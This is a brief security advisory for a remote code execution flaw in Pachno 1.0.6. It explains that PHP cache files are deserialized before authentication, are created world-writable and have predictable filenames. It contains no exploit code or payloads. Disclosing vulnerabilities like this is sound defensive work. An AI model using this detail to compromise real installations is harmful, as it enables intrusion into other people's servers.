Pachno 1.0.6 FileCache Deserialization Remote Code Execution
Vendor: Daniel André Eikeland
Product web page: https://github.com/pachno/pachno
Affected version: 1.0.6
Summary: Pachno is an open-source collaboration platform (formerly known as The Bug
Genie) designed for team project management, issue tracking, and documentation. It
offers a module-based, customizable environment for software development and team
workflows, distributed under the Mozilla Public License.
Desc: The application uses unserialize() function on the contents of cache files
stored under {PACHNO_PATH}/cache/ during the framework bootstrap sequence, before
any authentication, routing, or controller logic is executed. Cache files are created
with world-writable permissions (chmod 0666) and use deterministic, predictable
filenames derived from a small set of constants. An attacker who can write to the
cache directory can inject a serialized PHP object payload that triggers arbitrary
code execution on the next HTTP request.
Tested on: GNU/Linux
Apache2
PHP/7.4
MySQL/5.7 (MariaDB)
